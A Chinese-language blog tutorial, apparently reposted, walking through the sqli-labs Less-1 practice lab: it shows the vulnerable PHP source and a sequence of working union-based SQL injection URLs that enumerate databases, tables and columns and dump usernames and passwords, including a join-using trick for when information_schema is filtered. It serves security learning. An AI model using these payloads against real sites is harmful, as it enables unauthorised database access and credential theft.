SQL注入难不难

这篇具有很好参考价值的文章主要介绍了SQL注入难不难。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

先浅浅的看一下第一关

 他让我们输入一个id

 第一次嘛看一下源代码喽

再说一下相关知识

实战

了解他的库和表

实战

 列名去哪查???

利用 join-using 注列名


本文主要讲述sql-labs上面的绕过方法,我主要采用的是小皮搭建

小皮搭建环境问题:

1、用apache别用nginx 记得改一下sql-connections里的db-creds.inc是用来连接数据库的

2、记得php版本不易太高

sql中的注释-- 和 # 

1,在我们进行sql注入的时候都需要将后面的代码注释掉,很多人都在使用--+其实是-- 

后面有一个空格经过URL code 编码的+,因为在你的注入语句后面有它本身的一个单引号

你需要将他闭合或者注释掉,可以--'也可以--+,如果使用注释必须加空格。

SQL注入难不难

2,当我们使用#的时候,url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#,所以需要进行编码%23

SQL注入难不难

首先我们去github上下载sql-labs的源码

GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.

先浅浅的看一下第一关

SQL注入难不难

 他让我们输入一个id

SQL注入难不难

 第一次嘛看一下源代码喽

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

看到$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";因为id是单引号闭合的那就先给他传一个单引号,看他报错

SQL注入难不难

报错就说明有注入点很开心

再说一下相关知识

外带数据的时候可以用and or union

在我们查的时候要知道库名,表名,列名,数据

想要联合查询就要知道他有几列

那我们来做个实验

SQL注入难不难

mysql> select * from users union select 1,2;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select * from users union select 1,2,3;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  1 | 2        | 3          |
+----+----------+------------+
9 rows in set (0.00 sec)

mysql>

很容易看出来当列不一致联合查询是不行的

再看一下

mysql> select * from users order by 1 asc;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql> select * from users order by username asc;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql> select * from users order by 2 asc;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  2 | Angelina | I-kill-you |
|  7 | batman   | mob!le     |
|  1 | Dumb     | Dumb       |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
+----+----------+------------+
8 rows in set (0.00 sec)

mysql>

看完你就会很明白order by 可以进行列数量的窥探

实战

查看3列

SQL注入难不难

 当查看到4列时SQL注入难不难

了解他的库和表

mysql> select * from users union select 1,user(),3;
+----+----------------+------------+
| id | username       | password   |
+----+----------------+------------+
|  1 | Dumb           | Dumb       |
|  2 | Angelina       | I-kill-you |
|  3 | Dummy          | p@ssword   |
|  4 | secure         | crappy     |
|  5 | stupid         | stupidity  |
|  6 | superman       | genious    |
|  7 | batman         | mob!le     |
|  8 | admin          | admin      |
|  1 | root@localhost | 3          |
+----+----------------+------------+
9 rows in set (0.00 sec)


mysql> select * from users union select 1,database(),3;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  1 | security | 3          |
+----+----------+------------+
9 rows in set (0.00 sec)

mysql> select * from users union select 1,version(),3;
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  1 | 5.7.26   | 3          |
+----+----------+------------+
9 rows in set (0.16 sec)

mysql>

看完上面你又会懂,user(),database(),version()三个系统函数,总之查查查

实战

user()

SQL注入难不难

 database()SQL注入难不难

version()

SQL注入难不难

 列名去哪查???

 sys

 information_schema

需要关注这两个表先看第二个

mysql> use information_schema
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |   列
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              | 数据库名
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_LOCKS                          |
| INNODB_TRX                            |
| INNODB_SYS_DATAFILES                  |
| INNODB_FT_CONFIG                      |
| INNODB_SYS_VIRTUAL                    |
| INNODB_CMP                            |
| INNODB_FT_BEING_DELETED               |
| INNODB_CMP_RESET                      |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMPMEM_RESET                   |
| INNODB_FT_DELETED                     |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_LOCK_WAITS                     |
| INNODB_TEMP_TABLE_INFO                |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_FIELDS                     |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_BUFFER_PAGE                    |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_SYS_TABLESPACES                |
| INNODB_METRICS                        |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_CMPMEM                         |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_TABLESTATS                 |
+---------------------------------------+
61 rows in set (0.00 sec)

mysql>

接着看SCHEMATA

mysql> desc SCHEMATA;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    39
Current database: information_schema

+----------------------------+--------------+------+-----+---------+-------+
| Field                      | Type         | Null | Key | Default | Extra |
+----------------------------+--------------+------+-----+---------+-------+
| CATALOG_NAME               | varchar(512) | NO   |     |         |       |
| SCHEMA_NAME                | varchar(64)  | NO   |     |         |       |
| DEFAULT_CHARACTER_SET_NAME | varchar(32)  | NO   |     |         |       |
| DEFAULT_COLLATION_NAME     | varchar(32)  | NO   |     |         |       |
| SQL_PATH                   | varchar(512) | YES  |     | NULL    |       |
+----------------------------+--------------+------+-----+---------+-------+
5 rows in set (0.00 sec)


mysql> select SCHEMA_NAME  from  SCHEMATA;
+--------------------+
| SCHEMA_NAME        |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| security           |
| sys                |
+--------------------+
5 rows in set (0.00 sec)

mysql>

注意:当information_schema被过滤以后可以用sys,但是他只有库名,需要用join+using爆出表名。

查询一下

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,(select%20table_name%20from%20information_schema.tables),3%20--+

SQL注入难不难

 显示子查询超过1行

我试一下不用子查询

代码

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,table_name,3%20from%20information_schema.tables--+

SQL注入难不难

 这明显查的是第一个库的第一个表

在他后面限制一下库名,他就可以查security的库啦

代码

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

SQL注入难不难

 看一下数据库

SQL注入难不难

 可以加一个limit,探测

代码

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=%27security%27limit%201,1--+

SQL注入难不难

这样太麻烦了

我么再用一下子查询

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),3%20--+

SQL注入难不难

当你把表都查出来了就开始查列名啦,将table改为column 再加上一个and 限制一下表名为users

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27and%20table_name=%27users%27),3%20--+

SQL注入难不难

然后你就知道了库名(security),表名(users),列名(username,password)

然后正常查就可以啦

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,(select%20username,password%20from%20users),3--+

 SQL注入难不难

 但是会显示操作数列大于一行

然后咋办呢?那肯定是gruop_concat

代码

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(username,password)%20from%20users),3--+

SQL注入难不难

 有点奇怪,加一个连接符

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,(select%20group_concat(username,0x3a,password)%20from%20users),3--+

SQL注入难不难

这样就成功啦;

但是如果information被过滤了咋办,那就要请出我们的sys库啦

mysql> use sys;
Database changed
mysql> show tables;
+-----------------------------------------------+
| Tables_in_sys                                 |
+-----------------------------------------------+
| host_summary                                  |
| host_summary_by_file_io                       |
| host_summary_by_file_io_type                  |
| host_summary_by_stages                        |
| host_summary_by_statement_latency             |
| host_summary_by_statement_type                |
| innodb_buffer_stats_by_schema                 |
| innodb_buffer_stats_by_table                  |
| innodb_lock_waits                             |
| io_by_thread_by_latency                       |
| io_global_by_file_by_bytes                    |
| io_global_by_file_by_latency                  |
| io_global_by_wait_by_bytes                    |
| io_global_by_wait_by_latency                  |
| latest_file_io                                |
| memory_by_host_by_current_bytes               |
| memory_by_thread_by_current_bytes             |
| memory_by_user_by_current_bytes               |
| memory_global_by_current_bytes                |
| memory_global_total                           |
| metrics                                       |
| processlist                                   |
| ps_check_lost_instrumentation                 |
| schema_auto_increment_columns                 |
| schema_index_statistics                       |
| schema_object_overview                        |
| schema_redundant_indexes                      |
| schema_table_lock_waits                       |
| schema_table_statistics                       |
| schema_table_statistics_with_buffer           |
| schema_tables_with_full_table_scans           |
| schema_unused_indexes                         |
| session                                       |
| session_ssl_status                            |
| statement_analysis                            |
| statements_with_errors_or_warnings            |
| statements_with_full_table_scans              |
| statements_with_runtimes_in_95th_percentile   |
| statements_with_sorting                       |
| statements_with_temp_tables                   |
| sys_config                                    |
| user_summary                                  |
| user_summary_by_file_io                       |
| user_summary_by_file_io_type                  |
| user_summary_by_stages                        |
| user_summary_by_statement_latency             |
| user_summary_by_statement_type                |
| version                                       |
| wait_classes_global_by_avg_latency            |
| wait_classes_global_by_latency                |
| waits_by_host_by_latency                      |
| waits_by_user_by_latency                      |
| waits_global_by_latency                       |
| x$host_summary                                |
| x$host_summary_by_file_io                     |
| x$host_summary_by_file_io_type                |
| x$host_summary_by_stages                      |
| x$host_summary_by_statement_latency           |
| x$host_summary_by_statement_type              |
| x$innodb_buffer_stats_by_schema               |
| x$innodb_buffer_stats_by_table                |
| x$innodb_lock_waits                           |
| x$io_by_thread_by_latency                     |
| x$io_global_by_file_by_bytes                  |
| x$io_global_by_file_by_latency                |
| x$io_global_by_wait_by_bytes                  |
| x$io_global_by_wait_by_latency                |
| x$latest_file_io                              |
| x$memory_by_host_by_current_bytes             |
| x$memory_by_thread_by_current_bytes           |
| x$memory_by_user_by_current_bytes             |
| x$memory_global_by_current_bytes              |
| x$memory_global_total                         |
| x$processlist                                 |
| x$ps_digest_95th_percentile_by_avg_us         |
| x$ps_digest_avg_latency_distribution          |
| x$ps_schema_table_statistics_io               |
| x$schema_flattened_keys                       |
| x$schema_index_statistics                     |
| x$schema_table_lock_waits                     |
| x$schema_table_statistics                     |
| x$schema_table_statistics_with_buffer         |
| x$schema_tables_with_full_table_scans         |
| x$session                                     |
| x$statement_analysis                          |
| x$statements_with_errors_or_warnings          |
| x$statements_with_full_table_scans            |
| x$statements_with_runtimes_in_95th_percentile |
| x$statements_with_sorting                     |
| x$statements_with_temp_tables                 |
| x$user_summary                                |
| x$user_summary_by_file_io                     |
| x$user_summary_by_file_io_type                |
| x$user_summary_by_stages                      |
| x$user_summary_by_statement_latency           |
| x$user_summary_by_statement_type              |
| x$wait_classes_global_by_avg_latency          |
| x$wait_classes_global_by_latency              |
| x$waits_by_host_by_latency                    |
| x$waits_by_user_by_latency                    |
| x$waits_global_by_latency                     |
+-----------------------------------------------+
101 rows in set (0.00 sec)

mysql>

我们来看一下这个自增的表 schema_auto_increment_columns    

mysql> desc  schema_auto_increment_columns    ;
+----------------------+------------------------+------+-----+---------+-------+
| Field                | Type                   | Null | Key | Default | Extra |
+----------------------+------------------------+------+-----+---------+-------+
| table_schema         | varchar(64)            | NO   |     |         |       |
| table_name           | varchar(64)            | NO   |     |         |       |
| column_name          | varchar(64)            | NO   |     |         |       |
| data_type            | varchar(64)            | NO   |     |         |       |
| column_type          | longtext               | NO   |     | NULL    |       |
| is_signed            | int(1)                 | NO   |     | 0       |       |
| is_unsigned          | int(1)                 | NO   |     | 0       |       |
| max_value            | bigint(21) unsigned    | YES  |     | NULL    |       |
| auto_increment       | bigint(21) unsigned    | YES  |     | NULL    |       |
| auto_increment_ratio | decimal(25,4) unsigned | YES  |     | NULL    |       |
+----------------------+------------------------+------+-----+---------+-------+
10 rows in set (0.00 sec)

试图查一下列名

mysql> select column_name  from schema_auto_increment_columns where table_schema='security' and table_name = 'users';
+-------------+
| column_name |
+-------------+
| id          |
+-------------+
1 row in set (0.01 sec)

mysql>

好像只能查出一列来;

加了group_concat也不行

mysql> select group_concat(column_name)  from schema_auto_increment_columns where table_schema='security' and table_name = 'users';
+---------------------------+
| group_concat(column_name) |
+---------------------------+
| id                        |
+---------------------------+
1 row in set (0.01 sec)

mysql>

那么这个sys就查不出来列名啦,办法总是有的就是比较难,就是无列名注入。

利用 join-using 注列名

代码

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20as%20b)%20as%20c%20--+

这个代码的意思就是将users表当作a 在用join把users表当作b,将a,b合起来当作c来查询,这样查询就会将重复的列名爆出来。

SQL注入难不难

 然后使用using加列名一个一个的进行突破

20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20as%20b%20using(id))%20as%20c%20--+

SQL注入难不难

 知道最后就全部突破

http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%20*%20from%20(select%20*%20from%20users%20as%20a%20join%20users%20as%20b%20using(id,username,password))%20as%20c%20--+

SQL注入难不难文章来源地址https://www.toymoban.com/news/detail-407977.html

反引号中的数字代表几列

mysql> use security ;
Database changed
mysql> select `3` from (select 1,2,3 union select*from users) as a;
+------------+
| 3          |
+------------+
| 3          |
| Dumb       |
| I-kill-you |
| p@ssword   |
| crappy     |
| stupidity  |
| genious    |
| mob!le     |
| admin      |
+------------+
9 rows in set (0.00 sec)

mysql>

到了这里,关于SQL注入难不难的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 云曦暑期学习第一周——sql注入

    sql注入是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作 条件: 1.参数用户可控:前端传给后端的参数内容是用户可以控制的 2.参数带入数据查询

    2024年02月16日
    浏览(37)
  • 浅浅记录一下对某音的X-Agus、X-Gorgon、X-Khronos、X-Ladon研究(仅学习使用)

    近期比较闲,于是对该app进行了逆向研究 前两年也对这个app进行了研究,那时候还没有什么加密参数 可以很正常的进行采集 现在发现连包都抓不到了 于是查看了相关资料 发现该app走的不是正常的http/s协议 于是我hook了传输协议 就可以正常抓包了 抓包后就发现多了好几个加

    2024年01月19日
    浏览(38)
  • 纪念一下自己做的第一款开发板

    前言:之前乐鑫搞活动白嫖了10个ESP32-S2模组,想着把它给利用了,然后先从一个开发板做起,等玩明白了再去做一些自己的设计,从网上找了一些资料就开始干,中途也是遇到了一些问题,有的解决了,有的还没解决,如果有懂的大佬,欢迎指点一下。 这款开发板参考乐鑫

    2024年02月04日
    浏览(44)
  • 大一下java期末设计:学生信息管理系统(荣获班上第一)

      分享一个IDEA的破解网站教程:IDEA2023.1破解 永久激活 最新版IDEA激活 亲测可用! – 爱激活网 (aijihuo.cn) 数据使用的mysql数据库,版本是8.1,创建student表的数据库代码: create table student(id int name varchar(20),password varchar(20),score int);

    2024年02月16日
    浏览(35)
  • docker 安装的mysql修改配置文件 一、先看一下容器绑定的配置文件目录在哪

    如图,mysql容器的配置文件映射在服务器  /opt/mysql_docker/conf目录下。所以想修改容器的配置文件内容,只需要修改 /opt/mysql_docker/conf中的配置文件。  二、发现 /opt/mysql_docker/conf 目录下没有文件。 三、进入mysql容器,复制mysql的配置文件内容 复制内容如下: 四、在服务器/op

    2024年02月11日
    浏览(47)
  • SQL注入(1)--判断是否存在SQL注入漏洞

    不论是学习后端开发/数据库/网络安全,SQL注入安全隐患反复被提起 到底什么是SQL? 维基百科的定义: (1)什么是SQL? SQL是用来操控数据库的语言 (2)举一个例子,现在我们要查询电影“长津湖”的票房数据: 先想象一下开发人员是如何书写代码从数据库中拿到数据的:

    2024年02月05日
    浏览(48)
  • SQL注入之WHERE 子句中的 SQL 注入漏洞

    ● 实验室要求 此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询: 若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。 ● 必要知识点 一个没有安全概念的

    2024年02月14日
    浏览(45)
  • 什么是SQL注入攻击,解释如何防范SQL注入攻击?

    SQL注入攻击是一种常见的网络攻击方式,攻击者通过在Web应用程序的查询语句中插入恶意代码,从而获取数据库中的敏感信息或者执行其他恶意操作。 为了防范SQL注入攻击,可以采取以下措施: 使用参数化查询:使用参数化查询可以避免攻击者通过查询语句中的参数注入恶

    2024年02月10日
    浏览(50)
  • SQL注入的一些示例及解决SQL注入的方法

    SQL注入是一种常见的网络攻击手段,攻击者通过把SQL命令插入到Web表单提交或输入框后面,盗取数据库信息,甚至控制数据库服务器。解决SQL注入的方法如下: 1、使用参数化查询: 参数化查询是一种预编译查询,该查询将参数和SQL语句分开,从而允许程序将参数值与SQL语句

    2023年04月09日
    浏览(42)
  • sql注入之堆叠注入

    mysql数据库sql语句的默认结束符是以\\\";\\\"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束 select * from student; 如果我们想要执行多条sql那就用结

    2024年02月13日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包